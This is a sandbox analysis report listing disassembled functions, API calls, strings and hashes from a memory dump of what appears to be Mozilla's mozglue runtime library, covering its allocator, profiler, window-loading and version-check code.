memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E7103
free.MOZGLUE(00000000), ref: 6C4E7153
CloseHandle.KERNEL32(?), ref: 6C4E7176
__Init_thread_footer.LIBCMT ref: 6C4E7209
__Init_thread_footer.LIBCMT ref: 6C4E723A
__Init_thread_footer.LIBCMT ref: 6C4E726B
__Init_thread_footer.LIBCMT ref: 6C4E729C
__Init_thread_footer.LIBCMT ref: 6C4E72DC
__Init_thread_footer.LIBCMT ref: 6C4E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4E73C2
VerSetConditionMask.NTDLL ref: 6C4E73F3
VerSetConditionMask.NTDLL ref: 6C4E73FF
VerSetConditionMask.NTDLL ref: 6C4E7406
VerSetConditionMask.NTDLL ref: 6C4E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4E741A
moz_xmalloc.MOZGLUE(?), ref: 6C4E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4E7598
free.MOZGLUE(00000000), ref: 6C4E75AC

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C4E72C8
(, xrefs: 6C4E768A
wintrust.dll, xrefs: 6C4E72CD
SHA256, xrefs: 6C4E6EC0

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction ID: b06d740a9e50ccc23b9188a737284425df4012e8f07ba094d70d310e95f2117a
Opcode Fuzzy Hash: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction Fuzzy Hash: B052F671A043149BEB21DF24CC84FAA77B8EF89319F524199E909A7741DB70AF85CF90

Function 6C506FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C507019
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C507061
EnterCriticalSection.KERNEL32(?), ref: 6C5071A4
LeaveCriticalSection.KERNEL32(?), ref: 6C50721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C50723E
EnterCriticalSection.KERNEL32(?), ref: 6C50726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5072B2
LeaveCriticalSection.KERNEL32(?), ref: 6C50733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5073E8
LeaveCriticalSection.KERNEL32(?), ref: 6C50961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C509622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C509642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096DB
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C509747
GetSystemInfo.KERNEL32(?), ref: 6C509792
__Init_thread_footer.LIBCMT ref: 6C5097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C5097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C509838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C509874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C509895

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C509993
<jemalloc>, xrefs: 6C509B33, 6C509BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5099BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5099A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C509933, 6C509A33, 6C509A4E
MALLOC_OPTIONS, xrefs: 6C5097CA
MOZ_CRASH(), xrefs: 6C509B42
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5099D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C509BF4
Compile-time page size does not divide the runtime one., xrefs: 6C509B38

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction ID: 4b3d0686faad25a8062c089349d5a08f7aafd27d2a3ff80a47eb39d307e18f48
Opcode Fuzzy Hash: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction Fuzzy Hash: B9535D71B057018FD714CF28C981615BBE1BF8A328F29CAADE869CB795D771E841CB81

Function 6C510DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C510F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C510F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C510FB7
EnterCriticalSection.KERNEL32(?), ref: 6C510FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C511031
LeaveCriticalSection.KERNEL32(?), ref: 6C5110D0
EnterCriticalSection.KERNEL32(?), ref: 6C51117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C511C39
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C513391
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C5133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C513431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C513793
<jemalloc>, xrefs: 6C513941, 6C5139F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5137BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5137A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C513559, 6C51382D, 6C513848
MALLOC_OPTIONS, xrefs: 6C5135FE
MOZ_CRASH(), xrefs: 6C513950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5137D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C513A02
Compile-time page size does not divide the runtime one., xrefs: 6C513946

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction ID: b53373d5aa5099417f6ca6d7f0cb2d802ad99c7a3cd5cceec69db28c209a78ce
Opcode Fuzzy Hash: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction Fuzzy Hash: 5653B271A097018FE704CF19C954616FBE1BF86328F29C7ADE8699BB91D371E841CB81

Function 6C5355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C50E1A5), ref: 6C535606
LoadLibraryW.KERNEL32(gdi32,?,6C50E1A5), ref: 6C53560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C535633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C53563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C53566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C53567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C535696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C535716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C53572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C535748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C535761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C53577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C535793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5357FF

Strings

RegisterClassW, xrefs: 6C5356AC
AreDpiAwarenessContextsEqual, xrefs: 6C535637
LoadCursorW, xrefs: 6C535774
SetWindowPos, xrefs: 6C5356F7
GetDpiForWindow, xrefs: 6C535690
LoadIconW, xrefs: 6C53575B
GetWindowDC, xrefs: 6C535710
CreateSolidBrush, xrefs: 6C5357E4
ShowWindow, xrefs: 6C5356DE
FillRect, xrefs: 6C535729
SetWindowLongPtrW, xrefs: 6C5357B7
EnableNonClientDpiScaling, xrefs: 6C535666
MonitorFromWindow, xrefs: 6C53578D
gdi32, xrefs: 6C53560A
user32, xrefs: 6C535601
ReleaseDC, xrefs: 6C535742
CreateWindowExW, xrefs: 6C5356C5
StretchDIBits, xrefs: 6C5357CC
GetMonitorInfoW, xrefs: 6C5357A2
GetSystemMetricsForDpi, xrefs: 6C535677
GetThreadDpiAwarenessContext, xrefs: 6C53562D
DeleteObject, xrefs: 6C5357F9

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction ID: 796edcc5dd6f2a835eb140c545e75888e6ff49fd23311c8afd15b90329621664
Opcode Fuzzy Hash: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction Fuzzy Hash: B95187707013139BDB01AF359D489277BF8AB072457E66526ED56E2A02FF74C900CF68

Function 6C5334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EE2

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5361DD
Part of subcall function 6C536180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C53622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534157

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536250
Part of subcall function 6C536180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C53484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534896
free.MOZGLUE ref: 6C53489F

Strings

, xrefs: 6C534CD2

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction ID: 1bc7fa6fb82e0900ce15ae0d9c3ca598bca0578860ba7636ef2964d95a4733b6
Opcode Fuzzy Hash: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction Fuzzy Hash: F5F23B74908B80CFC725CF28C48469AFBF1BFC9358F518A5ED99997711DB329886CB42

Function 6C51F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C51F155
GetCurrentThreadId.KERNEL32 ref: 6C51F1E0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F1ED
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F212
GetCurrentThreadId.KERNEL32 ref: 6C51F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F248
GetCurrentThreadId.KERNEL32 ref: 6C51F2AE
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2BB
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2F8

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F350
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F35D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F381
GetCurrentThreadId.KERNEL32 ref: 6C51F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F3A0
GetCurrentThreadId.KERNEL32 ref: 6C51F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F491

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F3CF

Part of subcall function 6C51F070: GetCurrentThreadId.KERNEL32 ref: 6C51F440
Part of subcall function 6C51F070: AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F44D
Part of subcall function 6C51F070: ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F4A8
GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561
GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume, xrefs: 6C51F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction ID: fd6dab33ed8b61e9c747b642594b87669d17ff968bec34696eae29bed4dfd091
Opcode Fuzzy Hash: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction Fuzzy Hash: BBD1E635708204DFEB00EF64DC487AA77F5EB86328F95471AE95983F81DB715804C7AA

Function 6C4E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4E671C
GetCurrentProcess.KERNEL32 ref: 6C4E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E672F
GetCurrentProcess.KERNEL32 ref: 6C4E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4E6A80
GetSystemInfo.KERNEL32(?), ref: 6C4E6ABE
__Init_thread_footer.LIBCMT ref: 6C4E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AF7

Strings

user32.dll, xrefs: 6C4E6526
_etoured.dll, xrefs: 6C4E64ED
nvdxgiwrap.dll, xrefs: 6C4E6513
nvd3d9wrap.dll, xrefs: 6C4E6500
detoured.dll, xrefs: 6C4E64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4E6798

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction ID: 8e15aec114cd7d92f2b7387e684a5b0eab4d37ea80df763b28c2490418ce793b
Opcode Fuzzy Hash: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction Fuzzy Hash: BCF1D070E0522D8FDB20DF24CC48FDAB7B5AF4A31AF164299D919A3741D731AA85CF90

Function 6C4FD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4FD904
LeaveCriticalSection.KERNEL32(?), ref: 6C4FD971
